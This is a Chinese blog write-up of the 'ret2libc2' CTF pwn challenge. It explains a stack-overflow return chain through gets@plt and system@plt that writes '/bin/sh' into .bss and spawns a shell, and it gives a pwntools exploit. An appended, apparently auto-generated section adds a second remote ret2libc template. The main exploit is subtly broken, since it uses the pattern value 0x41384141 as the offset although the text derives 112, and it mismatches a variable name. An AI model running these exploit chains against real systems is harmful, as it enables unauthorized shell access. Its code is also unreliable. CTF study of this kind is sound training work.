【PWN · ret2libc】ret2libc2

文章介绍了在存在system@plt但无/bin/sh字符串的情况下,如何利用ret2libc漏洞构造exploit,通过输入自定义字符串并利用gets@plt获取控制权,最终执行shell。通过填充栈帧,跳转执行gets然后system,并使用ida反汇编分析找到合适地址存储字符串。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?


目录

前言

python3 ELF 查看文件信息

strings 查看寻找"/bin/sh"

IDA反汇编分析 

思路及实现 

老规矩,偏移量 offset

EXP编写  

总结


前言

经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?

其实很简单:没有我们就自己输入。


因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。

python3 ELF 查看文件信息

好的,重要的信息都有了 


strings 查看寻找"/bin/sh"

说明没有这个字符串,恼 

那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?


IDA反汇编分析 

bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。

别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!! 


思路及实现 

根据基本ret2libc的思想,我们把溢出栈内容如下构造:

这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1 

简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。

这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell


老规矩,偏移量 offset

gdb:peda下,pattern create 300 

然后pattern offset addr 

 

 偏移量112


EXP编写  

from pwn import *

io=process("./ret2libc2")

offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080

payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

成功获得自己的shell 


总结

从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。

### CTF PWN Ret2libc 攻击教程与实例 Ret2libc是一种利用栈溢出漏洞的技术,在这种技术下,攻击者通过覆盖返回地址来调用系统中的现有函数(通常是`system()`),从而执行任意命令。当面对静态链接的二进制文件时,由于其缺少GOT/PLT表,“xxx is statically linked, skipping GOT/PLT symbols”的提示表明无法从这些地方获取库函数地址[^1]。 对于动态链接的目标而言,可以通过操纵堆栈指针指向目标函数的实际置实现ret2libc攻击;而对于静态编译的情况,则可以直接在`.text`段内寻找所需的函数入口点并加以利用。 下面是一个简单的Python脚本用于演示如何实施ret2libc攻击: ```python from pwn import * # 设置远程连接参数 host = 'example.com' port = 9999 # 连接到服务端 conn = remote(host, port) # 假设已知偏移量为offset=108字节,并且存在可以控制的数据于该处之后 offset = 108 # 获取/bin/sh字符串的置以及system()函数的真实地址 bin_sh_addr = 0xdeadbeef # 需要替换为实际地址 system_addr = 0xbadc0de # 同上 payload = b'A' * offset + pack(system_addr) + b'JUNK' + pack(bin_sh_addr) # 发送载荷给服务器 conn.sendline(payload) # 切换到交互模式以便观察后续操作结果 conn.interactive() ``` 此代码片段展示了发送精心构造的有效负载至易受攻击的服务的过程,其中包含了必要的填充字符、system()函数地址及其参数"/bin/sh"所在内存区域的指针值。需要注意的是上述示例中使用的具体数值应当依据实际情况调整。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值